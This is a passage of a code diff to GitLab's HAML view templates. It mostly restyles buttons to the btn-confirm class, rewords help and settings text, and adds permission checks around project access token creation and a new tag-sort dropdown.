- = link_to s_('PrometheusService|Install Prometheus on clusters'), project_clusters_path(project), class: 'btn gl-button btn-success'
+ = link_to s_('PrometheusService|Install Prometheus on clusters'), project_clusters_path(project), class: 'btn gl-button btn-confirm'
%hr
diff --git a/app/views/projects/services/prometheus/_custom_metrics.html.haml b/app/views/projects/services/prometheus/_custom_metrics.html.haml
index 70685a8a9eb..a901d5b3575 100644
--- a/app/views/projects/services/prometheus/_custom_metrics.html.haml
+++ b/app/views/projects/services/prometheus/_custom_metrics.html.haml
@@ -13,7 +13,7 @@
-# haml-lint:disable NoPlainNodes
%span.badge.badge-pill.js-custom-monitored-count 0
-# haml-lint:enable NoPlainNodes
- = link_to s_('PrometheusService|New metric'), new_project_prometheus_metric_path(project), class: 'btn gl-button btn-success js-new-metric-button hidden', data: { qa_selector: 'new_metric_button' }
+ = link_to s_('PrometheusService|New metric'), new_project_prometheus_metric_path(project), class: 'btn gl-button btn-confirm gl-ml-auto js-new-metric-button hidden', data: { qa_selector: 'new_metric_button' }
.card-body
.flash-container.hidden
.flash-warning
diff --git a/app/views/projects/services/slack/_help.haml b/app/views/projects/services/slack/_help.haml
index 1fd448020a0..c5fcd5ca5fe 100644
--- a/app/views/projects/services/slack/_help.haml
+++ b/app/views/projects/services/slack/_help.haml
@@ -1,16 +1,4 @@
-- webhooks_link_url = 'https://slack.com/apps/A0F7XDUAZ-incoming-webhooks'
-- webhooks_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: webhooks_link_url }
-
.info-well
.well-segment
- %p= s_('SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:')
- %ol
- %li
- = html_escape(s_('SlackIntegration|%{webhooks_link_start}Add an incoming webhook%{webhooks_link_end} in your Slack team. The default channel can be overridden for each event.')) % { webhooks_link_start: webhooks_link_start.html_safe, webhooks_link_end: '</a>'.html_safe }
- %li
- = html_escape(s_('SlackIntegration|Paste the %{strong_open}Webhook URL%{strong_close} into the field below.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- %li
- = html_escape(s_('SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- %p.mt-3.mb-0
- = html_escape(s_('SlackIntegration|%{strong_open}Note:%{strong_close} Usernames and private channels are not supported.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- = link_to _('Learn more'), help_page_path('user/project/integrations/slack')
+ %p= s_('SlackIntegration|Sends notifications about project events to Slack channels.')
+ = link_to _('How do I set up this service?'), help_page_path('user/project/integrations/slack')
diff --git a/app/views/projects/services/slack_slash_commands/_help.html.haml b/app/views/projects/services/slack_slash_commands/_help.html.haml
index 67c43bd2f33..b68addcb093 100644
--- a/app/views/projects/services/slack_slash_commands/_help.html.haml
+++ b/app/views/projects/services/slack_slash_commands/_help.html.haml
@@ -11,7 +11,7 @@
%p.inline
= s_("SlackService|See list of available commands in Slack after setting up this service, by entering")
%kbd.inline /&lt;command&gt; help
- - unless @service.template?
+ - if @service.project_level?
%p= _("To set up this service:")
%ul.list-unstyled.indent-list
%li
@@ -58,7 +58,7 @@
= label_tag nil, _('Customize icon'), class: 'col-12 col-form-label label-bold'
.col-12
= image_tag(asset_url('slash-command-logo.png', skip_pipeline: true), width: 36, height: 36, class: 'mr-3')
- = link_to(_('Download image'), asset_url('gitlab_logo.png'), class: 'btn btn-sm', target: '_blank', rel: 'noopener noreferrer')
+ = link_to(_('Download image'), asset_url('gitlab_logo.png'), class: 'gl-button btn btn-default btn-sm', target: '_blank', rel: 'noopener noreferrer')
.form-group
= label_tag nil, _('Autocomplete'), class: 'col-12 col-form-label label-bold'
diff --git a/app/views/projects/settings/_archive.html.haml b/app/views/projects/settings/_archive.html.haml
index 4300ebb4852..5e0f24cea21 100644
--- a/app/views/projects/settings/_archive.html.haml
+++ b/app/views/projects/settings/_archive.html.haml
@@ -11,7 +11,7 @@
%p= _("Unarchiving the project will restore its members' ability to make changes to it. The repository can be committed to, and issues, comments, and other entities can be created. %{strong_start}Once active, this project shows up in the search and on the dashboard.%{strong_end} %{link_start}Learn more.%{link_end}").html_safe % { strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe, link_start: link_start, link_end: '</a>'.html_safe }
= link_to _('Unarchive project'), unarchive_project_path(@project),
data: { confirm: _("Are you sure that you want to unarchive this project?"), qa_selector: 'unarchive_project_link' },
- method: :post, class: "gl-button btn btn-success"
+ method: :post, class: "gl-button btn btn-confirm"
- else
- link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/project/settings/index', anchor: 'archiving-a-project') }
%p= _("Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}").html_safe % { strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe, link_start: link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/projects/settings/_general.html.haml b/app/views/projects/settings/_general.html.haml
index d1a95886115..845fb299b74 100644
--- a/app/views/projects/settings/_general.html.haml
+++ b/app/views/projects/settings/_general.html.haml
@@ -37,6 +37,6 @@
= render 'shared/choose_avatar_button', f: f
- if @project.avatar?
%hr
- = link_to _('Remove avatar'), project_avatar_path(@project), data: { confirm: _('Avatar will be removed. Are you sure?')}, method: :delete, class: 'btn btn-link'
+ = link_to _('Remove avatar'), project_avatar_path(@project), data: { confirm: _('Avatar will be removed. Are you sure?')}, method: :delete, class: 'gl-button btn btn-danger-secondary'
- = f.submit _('Save changes'), class: "gl-button btn btn-success gl-mt-6", data: { qa_selector: 'save_naming_topics_avatar_button' }
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm gl-mt-6", data: { qa_selector: 'save_naming_topics_avatar_button' }
diff --git a/app/views/projects/settings/access_tokens/index.html.haml b/app/views/projects/settings/access_tokens/index.html.haml
index 100eb5991dc..01f3e441eef 100644
--- a/app/views/projects/settings/access_tokens/index.html.haml
+++ b/app/views/projects/settings/access_tokens/index.html.haml
@@ -9,10 +9,20 @@
%h4.gl-mt-0
= page_title
%p
+ - if current_user.can?(:create_resource_access_tokens, @project)
= _('You can generate an access token scoped to this project for each application to use the GitLab API.')
- -# Commented out until https://gitlab.com/gitlab-org/gitlab/-/issues/219551 is fixed
- -# %p
- -# = _('You can also use project access tokens to authenticate against Git over HTTP.')
+ -# Commented out until https://gitlab.com/gitlab-org/gitlab/-/issues/219551 is fixed
+ -# %p
+ -# = _('You can also use project access tokens to authenticate against Git over HTTP.')
+ - else
+ = _('Project access token creation is disabled in this group. You can still use and manage existing tokens.')
+ %p
+ - root_group = @project.group.root_ancestor
+ - if current_user.can?(:admin_group, root_group)
+ - group_settings_link = edit_group_path(root_group)
+ - link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: group_settings_link }
+ = _('You can enable project access token creation in %{link_start}group settings%{link_end}.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
+
.col-lg-8
- if @new_project_access_token
@@ -20,12 +30,13 @@
type: type,
new_token_value: @new_project_access_token
- = render 'shared/access_tokens/form',
- type: type,
- path: project_settings_access_tokens_path(@project),
- token: @project_access_token,
- scopes: @scopes,
- prefix: :project_access_token
+ - if current_user.can?(:create_resource_access_tokens, @project)
+ = render 'shared/access_tokens/form',
+ type: type,
+ path: project_settings_access_tokens_path(@project),
+ token: @project_access_token,
+ scopes: @scopes,
+ prefix: :project_access_token
= render 'shared/access_tokens/table',
active_tokens: @active_project_access_tokens,
diff --git a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
index 5f79dd3d4bb..68e4bed8b9a 100644
--- a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
@@ -54,4 +54,4 @@
= s_('CICD|Automatic deployment to staging, manual deployment to production')
= link_to sprite_icon('question-o'), help_page_path('topics/autodevops/customize.md', anchor: 'incremental-rollout-to-production'), target: '_blank'
- = f.submit _('Save changes'), class: "btn gl-button btn-success gl-mt-5", data: { qa_selector: 'save_changes_button' }
+ = f.submit _('Save changes'), class: "btn gl-button btn-confirm gl-mt-5", data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/projects/settings/ci_cd/_form.html.haml b/app/views/projects/settings/ci_cd/_form.html.haml
index 3b0073848a6..c4b5c23be13 100644
--- a/app/views/projects/settings/ci_cd/_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_form.html.haml
@@ -96,7 +96,7 @@
= html_escape(_('The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable.')) % { regex: '<code>\(\d+.\d+%\)</code>'.html_safe }
= link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'test-coverage-parsing'), target: '_blank'
- = f.submit _('Save changes'), class: "btn gl-button btn-success", data: { qa_selector: 'save_general_pipelines_changes_button' }
+ = f.submit _('Save changes'), class: "btn gl-button btn-confirm", data: { qa_selector: 'save_general_pipelines_changes_button' }
%hr
diff --git a/app/views/projects/settings/ci_cd/show.html.haml b/app/views/projects/settings/ci_cd/show.html.haml
index cca980b5359..d955dabd04c 100644
--- a/app/views/projects/settings/ci_cd/show.html.haml
+++ b/app/views/projects/settings/ci_cd/show.html.haml
@@ -5,8 +5,6 @@
- expanded = expanded_by_default?
- general_expanded = @project.errors.empty? ? expanded : true
-- enable_search_settings locals: { container_class: 'gl-my-5' }
-
%section.settings#js-general-pipeline-settings.no-animate{ class: ('expanded' if general_expanded), data: { qa_selector: 'general_pipelines_settings_content' } }
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
diff --git a/app/views/projects/settings/integrations/show.html.haml b/app/views/projects/settings/integrations/show.html.haml
index 3f5fd765b11..af37795a7c5 100644
--- a/app/views/projects/settings/integrations/show.html.haml
+++ b/app/views/projects/settings/integrations/show.html.haml
@@ -12,7 +12,7 @@
.gl-alert-actions
= link_to _('Go to Webhooks'), project_hooks_path(@project), class: 'gl-button btn gl-alert-action btn-info'
-%h4= _('Integrations')
+%h3= _('Integrations')
- integrations_link_start = '<a href="%{url}">'.html_safe % { url: help_page_url('user/project/integrations/overview') }
- webhooks_link_start = '<a href="%{url}">'.html_safe % { url: project_hooks_path(@project) }
%p= _("%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, webhooks_link_start: webhooks_link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/projects/settings/operations/_alert_management.html.haml b/app/views/projects/settings/operations/_alert_management.html.haml
index 079812f7077..0418d7df42d 100644
--- a/app/views/projects/settings/operations/_alert_management.html.haml
+++ b/app/views/projects/settings/operations/_alert_management.html.haml
@@ -5,12 +5,12 @@
%section.settings.no-animate#js-alert-management-settings{ class: ('expanded' if expanded) }
.settings-header
- %h4
- = _('Alerts')
- %button.btn.js-settings-toggle{ type: 'button' }
+ %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
+ = _('Alert integrations')
+ %button.gl-button.btn.btn-default.js-settings-toggle{ type: 'button' }
= _('Expand')
%p
- = _('Display alerts from all your monitoring tools directly within GitLab.')
- = link_to _('More information'), help_page_path('operations/incident_management/index.md'), target: '_blank', rel: 'noopener noreferrer'
+ = _('Display alerts from all configured monitoring tools.')
+ = link_to _('Learn more.'), help_page_path('operations/incident_management/integrations.md'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
.js-alerts-settings{ data: alerts_settings_data }
diff --git a/app/views/projects/settings/operations/_configuration_banner.html.haml b/app/views/projects/settings/operations/_configuration_banner.html.haml
index 888625689f1..8551aa5380e 100644
--- a/app/views/projects/settings/operations/_configuration_banner.html.haml
+++ b/app/views/projects/settings/operations/_configuration_banner.html.haml
@@ -21,4 +21,4 @@
.col-sm-10
%p.gl-mt-3
= s_('PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters.')
- = link_to s_('PrometheusService|Install Prometheus on clusters'), project_clusters_path(project), class: 'btn btn-success'
+ = link_to s_('PrometheusService|Install Prometheus on clusters'), project_clusters_path(project), class: 'gl-button btn btn-confirm'
diff --git a/app/views/projects/settings/operations/_error_tracking.html.haml b/app/views/projects/settings/operations/_error_tracking.html.haml
index fe302978da6..1e77f37ebb4 100644
--- a/app/views/projects/settings/operations/_error_tracking.html.haml
+++ b/app/views/projects/settings/operations/_error_tracking.html.haml
@@ -4,9 +4,9 @@
%section.settings.no-animate.js-error-tracking-settings
.settings-header
- %h4
+ %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
= _('Error tracking')
- %button.btn.js-settings-toggle{ type: 'button' }
+ %button.gl-button.btn.btn-default.js-settings-toggle{ type: 'button' }
= _('Expand')
%p
= _('To link Sentry to GitLab, enter your Sentry URL and Auth Token.')
diff --git a/app/views/projects/settings/operations/_prometheus.html.haml b/app/views/projects/settings/operations/_prometheus.html.haml
index ccf5b5dc75f..1c7bcbbca0b 100644
--- a/app/views/projects/settings/operations/_prometheus.html.haml
+++ b/app/views/projects/settings/operations/_prometheus.html.haml
@@ -1,8 +1,8 @@
%section.settings.no-animate.js-prometheus-settings
.settings-header
- %h4
+ %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
= _('Prometheus')
- %button.btn.js-settings-toggle{ type: 'button' }
+ %button.gl-button.btn.btn-default.js-settings-toggle{ type: 'button' }
= _('Expand')
%p
= _('Link Prometheus monitoring to GitLab.')
diff --git a/app/views/projects/settings/operations/_tracing.html.haml b/app/views/projects/settings/operations/_tracing.html.haml
index 03970dfe0b9..a591fa33096 100644
--- a/app/views/projects/settings/operations/_tracing.html.haml
+++ b/app/views/projects/settings/operations/_tracing.html.haml
@@ -3,9 +3,9 @@
%section.settings.border-0.no-animate
.settings-header{ :class => "border-top" }
- %h4
+ %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
= _("Jaeger tracing")
- %button.btn.gl-button.js-settings-toggle{ type: 'button' }
+ %button.btn.btn-default.gl-button.js-settings-toggle{ type: 'button' }
= _('Expand')
%p
- if has_jaeger_url
@@ -17,17 +17,18 @@
- tracing_link = link_to project_tracing_path(@project) do
%span
= _('Tracing')
- = _("To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server").html_safe % { link: tracing_link }
+ = _("To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server.").html_safe % { link: tracing_link }
+ = link_to _('Learn more.'), help_page_path('operations/tracing'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
= form_for @project, url: project_settings_operations_path(@project), method: :patch do |f|
= form_errors(@project)
.form-group
= f.fields_for :tracing_setting_attributes, setting do |form|
= form.label :external_url, _('Jaeger URL'), class: 'label-bold'
- = form.url_field :external_url, class: 'form-control gl-form-input', placeholder: 'e.g. https://jaeger.mycompany.com'
+ = form.url_field :external_url, class: 'form-control gl-form-input', placeholder: 'https://jaeger.example.com'
%p.form-text.text-muted
- - jaeger_help_url = "https://www.jaegertracing.io/docs/1.7/getting-started/"
+ - jaeger_help_url = "https://www.jaegertracing.io/docs/getting-started/"
- link_start_tag = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: jaeger_help_url }
- link_end_tag = "#{sprite_icon('external-link', css_class: 'ml-1 vertical-align-middle')}</a>".html_safe
- = _("For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}").html_safe % { link_start_tag: link_start_tag, link_end_tag: link_end_tag }
- = f.submit _('Save changes'), class: 'btn btn-success'
+ = _("Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}.").html_safe % { link_start_tag: link_start_tag, link_end_tag: link_end_tag }
+ = f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/projects/settings/operations/show.html.haml b/app/views/projects/settings/operations/show.html.haml
index 5ba796f5720..73722a5a789 100644
--- a/app/views/projects/settings/operations/show.html.haml
+++ b/app/views/projects/settings/operations/show.html.haml
@@ -2,8 +2,6 @@
- page_title _('Operations Settings')
- breadcrumb_title _('Operations Settings')
-- enable_search_settings locals: { container_class: 'gl-my-5' }
-
= render 'projects/settings/operations/alert_management'
= render 'projects/settings/operations/incidents'
= render 'projects/settings/operations/error_tracking'
diff --git a/app/views/projects/settings/repository/show.html.haml b/app/views/projects/settings/repository/show.html.haml
index 8ac42ce3f81..24fc137fd29 100644
--- a/app/views/projects/settings/repository/show.html.haml
+++ b/app/views/projects/settings/repository/show.html.haml
@@ -3,8 +3,6 @@
- @content_class = "limit-container-width" unless fluid_layout
- deploy_token_description = s_('DeployTokens|Deploy tokens allow access to packages, your repository, and registry images.')
-- enable_search_settings locals: { container_class: 'gl-my-5' }
-
= render "projects/default_branch/show"
= render_if_exists "projects/push_rules/index"
= render "projects/mirrors/mirror_repos"
diff --git a/app/views/projects/show.html.haml b/app/views/projects/show.html.haml
index 40faf91eadf..90b79fddff1 100644
--- a/app/views/projects/show.html.haml
+++ b/app/views/projects/show.html.haml
@@ -1,4 +1,4 @@
-- current_route_path = request.fullpath.match(/-\/tree\/[^\/]+\/(.+$)/).to_a[1]
+- current_route_path = request.fullpath.match(%r{-/tree/[^/]+/(.+$)}).to_a[1]
- add_page_startup_graphql_call('repository/path_last_commit', { projectPath: @project.full_path, ref: current_ref, path: current_route_path || "" })
- @content_class = "limit-container-width" unless fluid_layout
- @skip_current_level_breadcrumb = true
diff --git a/app/views/projects/snippets/index.html.haml b/app/views/projects/snippets/index.html.haml
index a505b34f46c..f53b2051835 100644
--- a/app/views/projects/snippets/index.html.haml
+++ b/app/views/projects/snippets/index.html.haml
@@ -9,7 +9,7 @@
- if new_project_snippet_link.present?
.nav-controls
- = link_to _("New snippet"), new_project_snippet_link, class: "btn btn-success", title: _("New snippet")
+ = link_to _("New snippet"), new_project_snippet_link, class: "gl-button btn btn-confirm", title: _("New snippet")
= render 'shared/snippets/list'
- else
diff --git a/app/views/projects/stage/_stage.html.haml b/app/views/projects/stage/_stage.html.haml
index 387c8fb3234..92bfd5a48a8 100644
--- a/app/views/projects/stage/_stage.html.haml
+++ b/app/views/projects/stage/_stage.html.haml
@@ -1,5 +1,3 @@
-- stage = stage.present(current_user: current_user)
-
%tr
%th{ colspan: 10 }
%strong
@@ -8,8 +6,8 @@
= ci_icon_for_status(stage.status)
&nbsp;
= stage.name.titleize
-= render stage.latest_ordered_statuses, stage: false, ref: false, pipeline_link: false, allow_retry: true
-= render stage.retried_ordered_statuses, stage: false, ref: false, pipeline_link: false, retried: true
+= render stage.latest_statuses, stage: false, ref: false, pipeline_link: false, allow_retry: true
+= render stage.retried_statuses, stage: false, ref: false, pipeline_link: false, retried: true
%tr
%td{ colspan: 10 }
&nbsp;
diff --git a/app/views/projects/starrers/_starrer.html.haml b/app/views/projects/starrers/_starrer.html.haml
index d8a2c72d9ce..28ec1ed206a 100644
--- a/app/views/projects/starrers/_starrer.html.haml
+++ b/app/views/projects/starrers/_starrer.html.haml
@@ -13,7 +13,7 @@
%span.cgray= starrer.user.to_reference
- if starrer.user == current_user
- %span.badge.badge-success.gl-ml-2= _("It's you")
+ %span.badge-pill.badge-success.gl-badge.gl-ml-2.sm= _("It's you")
.block-truncated
= time_ago_with_tooltip(starrer.starred_since)
diff --git a/app/views/projects/tags/index.html.haml b/app/views/projects/tags/index.html.haml
index 04d8c1f42bc..229f13d0ff3 100644
--- a/app/views/projects/tags/index.html.haml
+++ b/app/views/projects/tags/index.html.haml
@@ -9,22 +9,25 @@
= s_('TagsPage|Tags give the ability to mark specific points in history as being important')
.nav-controls
- = form_tag(filter_tags_path, method: :get) do
- = search_field_tag :search, params[:search], { placeholder: s_('TagsPage|Filter by tag name'), id: 'tag-search', class: 'form-control search-text-input input-short', spellcheck: false }
+ - unless Gitlab::Ci::Features.gldropdown_tags_enabled?
+ = form_tag(filter_tags_path, method: :get) do
+ = search_field_tag :search, params[:search], { placeholder: s_('TagsPage|Filter by tag name'), id: 'tag-search', class: 'form-control search-text-input input-short', spellcheck: false }
- .dropdown
- %button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown'} }
- %span.light
- = tags_sort_options_hash[@sort]
- = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
- %ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
- %li.dropdown-header
- = s_('TagsPage|Sort by')
- - tags_sort_options_hash.each do |value, title|
- %li
- = link_to title, filter_tags_path(sort: value), class: ("is-active" if @sort == value)
+ .dropdown
+ %button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown'} }
+ %span.light
+ = tags_sort_options_hash[@sort]
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
+ %ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
+ %li.dropdown-header
+ = s_('TagsPage|Sort by')
+ - tags_sort_options_hash.each do |value, title|
+ %li
+ = link_to title, filter_tags_path(sort: value), class: ("is-active" if @sort == value)
+ - else
+ #js-tags-sort-dropdown{ data: { filter_tags_path: filter_tags_path, sort_options: tags_sort_options_hash.to_json } }
- if can?(current_user, :admin_tag, @project)
- = link_to new_project_tag_path(@project), class: 'btn gl-button btn-success', data: { qa_selector: "new_tag_button" } do
+ = link_to new_project_tag_path(@project), class: 'btn gl-button btn-confirm', data: { qa_selector: "new_tag_button" } do
= s_('TagsPage|New tag')
= link_to project_tags_path(@project, rss_url_options), title: _("Tags feed"), class: 'btn gl-button btn-default btn-icon d-none d-sm-inline-block has-tooltip' do
= sprite_icon('rss', css_class: 'qa-rss-icon')
diff --git a/app/views/projects/tags/new.html.haml b/app/views/projects/tags/new.html.haml
index 73b2a92dcc0..2ef1891089f 100644
--- a/app/views/projects/tags/new.html.haml
+++ b/app/views/projects/tags/new.html.haml
@@ -52,6 +52,6 @@
= render 'shared/zen', attr: :release_description, classes: 'note-textarea', placeholder: s_('TagsPage|Write your release notes or drag files here…'), current_text: @release_description, qa_selector: 'release_notes_field'
= render 'shared/notes/hints'
.form-actions
- = button_tag s_('TagsPage|Create tag'), class: 'btn btn-success', data: { qa_selector: "create_tag_button" }
- = link_to s_('TagsPage|Cancel'), project_tags_path(@project), class: 'btn btn-cancel'
+ = button_tag s_('TagsPage|Create tag'), class: 'gl-button btn btn-confirm', data: { qa_selector: "create_tag_button" }
+ = link_to s_('TagsPage|Cancel'), project_tags_path(@project), class: 'gl-button btn btn-default btn-cancel'
%script#availableRefs{ type: "application/json" }= @project.repository.ref_names.to_json.html_safe
diff --git a/app/views/projects/tags/releases/edit.html.haml b/app/views/projects/tags/releases/edit.html.haml
index d82c89a3f9f..f181212b328 100644
--- a/app/views/projects/tags/releases/edit.html.haml
+++ b/app/views/projects/tags/releases/edit.html.haml
@@ -15,5 +15,5 @@
= render 'shared/notes/hints'
.error-alert
.gl-mt-3
- = f.submit 'Save changes', class: 'btn gl-button btn-success'
+ = f.submit 'Save changes', class: 'btn gl-button btn-confirm'
= link_to "Cancel", project_tag_path(@project, @tag.name), class: "btn gl-button btn-default btn-cancel"
diff --git a/app/views/projects/tracings/_tracing_button.html.haml b/app/views/projects/tracings/_tracing_button.html.haml
index b0ab6fa21e1..fe3af1c6a1a 100644
--- a/app/views/projects/tracings/_tracing_button.html.haml
+++ b/app/views/projects/tracings/_tracing_button.html.haml
@@ -1,2 +1,2 @@
-= link_to project_settings_operations_path(@project), title: _('Configure Tracing'), class: 'gl-button btn btn-success' do
+= link_to project_settings_operations_path(@project), title: _('Configure Tracing'), class: 'gl-button btn btn-confirm' do
= _('Add Jaeger URL')
diff --git a/app/views/projects/tracings/show.html.haml b/app/views/projects/tracings/show.html.haml
index 8c9bffc81bf..21c1d02d92e 100644
--- a/app/views/projects/tracings/show.html.haml
+++ b/app/views/projects/tracings/show.html.haml
@@ -24,10 +24,10 @@
.text-content
%h4.text-left= _('Troubleshoot and monitor your application with tracing')
%p
- - jaeger_help_url = "https://www.jaegertracing.io/docs/1.7/getting-started/"
+ - jaeger_help_url = "https://www.jaegertracing.io/docs/getting-started/"
- link_start_tag = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: jaeger_help_url }
- link_end_tag = "#{sprite_icon('external-link', css_class: 'ml-1 vertical-align-middle')}</a>".html_safe
- = _('To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}').html_safe % { link_start_tag: link_start_tag, link_end_tag: link_end_tag }
+ = _('Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}.').html_safe % { link_start_tag: link_start_tag, link_end_tag: link_end_tag }
.text-center
= render 'tracing_button'
diff --git a/app/views/projects/tree/show.html.haml b/app/views/projects/tree/show.html.haml
index 355277b7d41..2d0c4cc20a0 100644
--- a/app/views/projects/tree/show.html.haml
+++ b/app/views/projects/tree/show.html.haml
@@ -1,4 +1,4 @@
-- current_route_path = request.fullpath.match(/-\/tree\/[^\/]+\/(.+$)/).to_a[1]
+- current_route_path = request.fullpath.match(%r{-/tree/[^/]+/(.+$)}).to_a[1]
- add_page_startup_graphql_call('repository/path_last_commit', { projectPath: @project.full_path, ref: current_ref, path: current_route_path || "" })
- add_page_startup_graphql_call('repository/permissions', { projectPath: @project.full_path })
- add_page_startup_graphql_call('repository/files', { nextPageCursor: "", pageSize: 100, projectPath: @project.full_path, ref: current_ref, path: current_route_path || "/"})
diff --git a/app/views/projects/triggers/_form.html.haml b/app/views/projects/triggers/_form.html.haml
index 1dbf8addb57..9043b8e60fc 100644
--- a/app/views/projects/triggers/_form.html.haml
+++ b/app/views/projects/triggers/_form.html.haml
@@ -8,4 +8,4 @@
.form-group
= f.label :key, "Description", class: "label-bold"
= f.text_field :description, class: 'form-control gl-form-input', required: true, title: 'Trigger description is required.', placeholder: "Trigger description"
- = f.submit btn_text, class: "btn btn-success"
+ = f.submit btn_text, class: "gl-button btn btn-confirm"
diff --git a/app/views/projects/triggers/_index.html.haml b/app/views/projects/triggers/_index.html.haml
index c7cb051e40d..85ecfe7a982 100644
--- a/app/views/projects/triggers/_index.html.haml
+++ b/app/views/projects/triggers/_index.html.haml
@@ -2,9 +2,9 @@
.col-lg-12
.card
.card-header
- = s_("Manage your project's triggers")
+ = _("Manage your project's triggers")
.card-body
- = render "projects/triggers/form", btn_text: "Add trigger"
+ = render 'projects/triggers/form', btn_text: _('Add trigger')
%hr
- if Feature.enabled?(:ci_pipeline_triggers_settings_vue_ui, @project)
#js-ci-pipeline-triggers-list.triggers-list{ data: { triggers: @triggers_json } }
@@ -15,32 +15,32 @@
%thead
%th
%strong
- = s_("Token")
+ = _('Token')
%th
%strong
- = s_("Description")
+ = _('Description')
%th
%strong
- = s_("Owner")
+ = _('Owner')
%th
%strong
- = s_("Last used")
+ = _('Last used')
%th
= render partial: 'projects/triggers/trigger', collection: @triggers, as: :trigger
- else
%p.settings-message.text-center.gl-mb-3{ data: { testid: 'no_triggers_content' } }
- = s_("No triggers exist yet. Use the form above to create one.")
+ = _('No triggers exist yet. Use the form above to create one.')
.card-footer
%p
- = s_("These examples show how to trigger this project's pipeline for a branch or tag.")
+ = _("These examples show how to trigger this project's pipeline for a branch or tag.")
%p.light
- = s_("Triggers|In each example, replace %{code_start}TOKEN%{code_end} with the trigger token you generated and replace %{code_start}REF_NAME%{code_end} with the branch or tag name.").html_safe % { code_start: "<code>".html_safe, code_end: "</code>".html_safe }
+ = _('In each example, replace %{code_start}TOKEN%{code_end} with the trigger token you generated and replace %{code_start}REF_NAME%{code_end} with the branch or tag name.').html_safe % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
%h5.gl-mt-3
- = s_("Use cURL")
+ = _('Use cURL')
%pre
:plain
@@ -49,26 +49,26 @@
-F ref=REF_NAME \
#{builds_trigger_url(@project.id)}
%h5.gl-mt-3
- = s_("Use .gitlab-ci.yml")
+ = _('Use .gitlab-ci.yml')
%pre
:plain
script:
- "curl -X POST -F token=TOKEN -F ref=REF_NAME #{builds_trigger_url(@project.id)}"
%h5.gl-mt-3
- = s_("Use webhook")
+ = _('Use webhook')
%pre
:plain
#{builds_trigger_url(@project.id, ref: 'REF_NAME')}?token=TOKEN
%h5.gl-mt-3
- = s_("Pass job variables")
+ = _('Pass job variables')
%p.light
- = s_("Triggers|To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request.").html_safe % { code_start: "<code>".html_safe, code_end: "</code>".html_safe }
+ = _('To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request.').html_safe % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
%p.light
- = s_("cURL:")
+ = _('cURL:')
%pre
:plain
@@ -78,7 +78,7 @@
-F "variables[RUN_NIGHTLY_BUILD]=true" \
#{builds_trigger_url(@project.id)}
%p.light
- = s_("Webhook:")
+ = _('Webhook:')
%pre.gl-mb-0
:plain
diff --git a/app/views/projects/triggers/_trigger.html.haml b/app/views/projects/triggers/_trigger.html.haml
index b25199b405a..2def6c06458 100644
--- a/app/views/projects/triggers/_trigger.html.haml
+++ b/app/views/projects/triggers/_trigger.html.haml
@@ -30,8 +30,8 @@
%td.text-right.trigger-actions
- revoke_trigger_confirmation = "By revoking a trigger you will break any processes making use of it. Are you sure?"
- if can?(current_user, :admin_trigger, trigger)
- = link_to edit_project_trigger_path(@project, trigger), method: :get, title: "Edit", class: "btn btn-default btn-sm" do
